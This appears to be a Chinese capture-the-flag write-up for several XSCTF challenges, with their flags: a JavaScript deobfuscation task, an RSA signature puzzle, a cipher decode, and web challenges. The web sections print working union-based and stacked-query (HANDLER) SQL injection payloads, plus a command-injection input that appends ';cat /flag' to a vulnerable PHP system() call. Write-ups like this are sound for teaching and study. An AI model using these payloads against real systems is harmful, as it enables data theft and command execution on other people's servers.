_0x5cf5b7=-parseInt(_0x324ad3(0x107))/0x1*(-parseInt(_0x324ad3(0x10f))/0x2)+-parseInt(_0x324ad3(0x10e))/0x3+parseInt(_0x324ad3(0x109))/0x4+parseInt(_0x324ad3(0x105))/0x5+-parseInt(_0x324ad3(0x110))/0x6+parseInt(_0x324ad3(0x10b))/0x7*(parseInt(_0x324ad3(0x10a))/0x8)+-parseInt(_0x324ad3(0x108))/0x9*(parseInt(_0x324ad3(0x106))/0xa);if(_0x5cf5b7===_0x506be4)break;else _0x1b9807['push'](_0x1b9807['shift']());}catch(_0x29c073){_0x1b9807['push'](_0x1b9807['shift']());}}}(_0x1173,0xf2d11),console[_0x21b6c9(0x10c)](atob(_0x21b6c9(0x10d))));

直接复制到浏览器控制台

1
2
3
4
5
6
7
8
9
__   __   _____    _____   _______   ______     __                              _____           _   _     _           _            ______                  __                  _  _     _     _    ___                              __             ____    _        __                                _     _                  __   
\ \ / / / ____| / ____| |__ __| | ____| / / /\ |_ _| (_) | | (_) | | | ____| /_ | | || | | | (_) / _ \ / _| / __ \ | | / _| | | (_) \ \
\ V / | (___ | | | | | |__ | | / \ _ __ | | _ __ _ | |_ _ __ _ | | | |__ __ __ _ __ | | ___ _ __ | || |_ | |_ _ | | | | _ __ ___ | |_ | | | | | |__ | |_ _ _ ___ ___ __ _ | |_ _ ___ _ __ | |
> < \___ \ | | | | | __| / / / /\ \ | '_ \ | | | '_ \ | | | __| | | / _` | | | | __| \ \/ / | '_ \ | | / _ \ | '__| |__ _| | __| | | | | | | | '_ \ / _ \ | _| | | | | | '_ \ | _| | | | | / __| / __| / _` | | __| | | / _ \ | '_ \ \ \
/ . \ ____) | | |____ | | | | \ \ / ____ \ | | | | _| |_ | | | | | | | |_ | | | (_| | | | | |____ > < | |_) | | | | (_) | | | | | | |_ | | | |_| | | | | | | (_) | | | | |__| | | |_) | | | | |_| | \__ \ | (__ | (_| | | |_ | | | (_) | | | | | / /
/_/ \_\ |_____/ \_____| |_| |_| | | /_/ \_\ |_| |_| |_____| |_| |_| |_| \__| |_| \__,_| |_| |______| /_/\_\ | .__/ |_| \___/ |_| |_| \__| |_| \___/ |_| |_| \___/ |_| \____/ |_.__/ |_| \__,_| |___/ \___| \__,_| \__| |_| \___/ |_| |_| | |
\_\ ______ ______ | | ______ ______ /_/
|______| |______| |_| |______| |______|

拉伸一下就可以看到flag(换成不会自动换行的文本编辑软件,如notepad++)

XSCTF{An_Initial_Exp1or4ti0n_of_Obfuscation}

saveSaofe1a_partA

考sql注入
测试一下发现是字符型查询,并且存在联合注入

  • 首先查询当前数据库
  • 然后查询该数据库下的表
  • 然后查询表下的字段
  • 根据题目提示,逐个翻表
1
2
3
4
5
6
-1' union select database(),2,3,4#
-1' union select group_concat(table_name),2,3,4 from information_schema.tables where table_schema='student'#
-1' union select group_concat(column_name),2,3,4 from information_schema.columns where table_name='class1'#
-1' union select group_concat(id),group_concat(name),group_concat(class),group_concat(hobbies) from class1#
-1' union select group_concat(id),group_concat(name),group_concat(class),group_concat(hobbies) from class2#
-1' union select group_concat(id),group_concat(name),group_concat(class),group_concat(hobbies) from class3#

XSCTF{Saofe1a_r3a11y_l0ve_xiaomei}

saveSaofe1a_partB

同样是sql注入
经过测试:
让我想想除了insert、where、delete、select、drop、update和.你们大黑阔还有什么招
嘻嘻,想起来了,set、prepare、execute也不行哦

用handler可以查

1
-1';handler `2333` open;handler `2333` read first;handler `2333` close;#

如果不在第一条,但是题目又过滤了where关键字,可以使用limit

1
-1';handler `class3` open;handler `class3` read first limit 30,1;handler `class3` close;#

XSCTF{Saofe1a_wAnt_a_9ir1fri3nd}

燕子不要走~

1
2
3
4
5
6
7
8
9
10
//燕子,燕子,没有你我怎么活啊,不要甩开我啊  
function hello_shell($cmd){ system($cmd.">/dev/null 2>&1");
}

isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;

highlight_file(__FILE__);


?>

直接用分号隔开即可
?cmd=cat /flag;

XSCTF{Yanz1_i_w1sh_y0u_hApp1neSs}

gift_RSA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from Crypto.Util.number import *
from secret import flag

m = bytes_to_long(flag)
p = getStrongPrime(512)
q = getStrongPrime(512)
n = p*q
e = 0x10001
phi = (p-1)*(q-1)
d = inverse(e, phi)
gift = pow(m, d, n)
print(f'n = {n}')
print(f'gift = {gift}')
"""
n = 130440460982994054886194132893343627339035187428107218807321147405620338019874355591446417761513664225266160038818394605319887375239391287230478660163653875242501357695986002630460984513202850115668909532480905521208688225215737924902179053646260998230998190491472420237789646660909155287180241747552560215117
gift = 44036549032562248382682022800700872356499366761892236792447591596664499865604669855744690854360939082917175165565199000408965931210082233109686848459850428016737476624525455409019711542678368419364411036613979498284492060998121701989232698779962405921949163953624713959841997664118682769289019562394455997308
"""

根据公钥加密算法的特性,公私钥互换效果是一样的,这里用私钥加密(签名),就可以使用公钥解密(验证)

exp

1
2
3
4
5
6
7
from Crypto.Util.number import *

e = 0x10001
c = 44036549032562248382682022800700872356499366761892236792447591596664499865604669855744690854360939082917175165565199000408965931210082233109686848459850428016737476624525455409019711542678368419364411036613979498284492060998121701989232698779962405921949163953624713959841997664118682769289019562394455997308
n = 130440460982994054886194132893343627339035187428107218807321147405620338019874355591446417761513664225266160038818394605319887375239391287230478660163653875242501357695986002630460984513202850115668909532480905521208688225215737924902179053646260998230998190491472420237789646660909155287180241747552560215117

print(long_to_bytes(pow(c, e, n)))

XSCTF{H3re_i5_@_Gif7_f0r_y0u_From_Euler:)))))!}

你说你是凯撒大帝尊嘟假嘟啊

1
Öv0 0vo O.0 O_Ö Övo 0vo ov0 ovÖ o.Ö owÖ 0.o OwÖ o.O Ö.O O_0 o_Ö Ö_0 OwÖ Ov0 0wÖ Ö.Ö owO 0v0 o.O o.Ö Ö.0 o.0 ovO o.Ö Ö.o 0vo Ow0 Ö.Ö owo 0_0 0.0 o.Ö Ö.O O.0 O_0 o_O 0vÖ owo 

尊嘟假嘟O.o (zdjd.vercel.app)

解密之后凯撒爆破

XSCTF{gr3at_y0u_aRe_reA1_CaesAr}

评论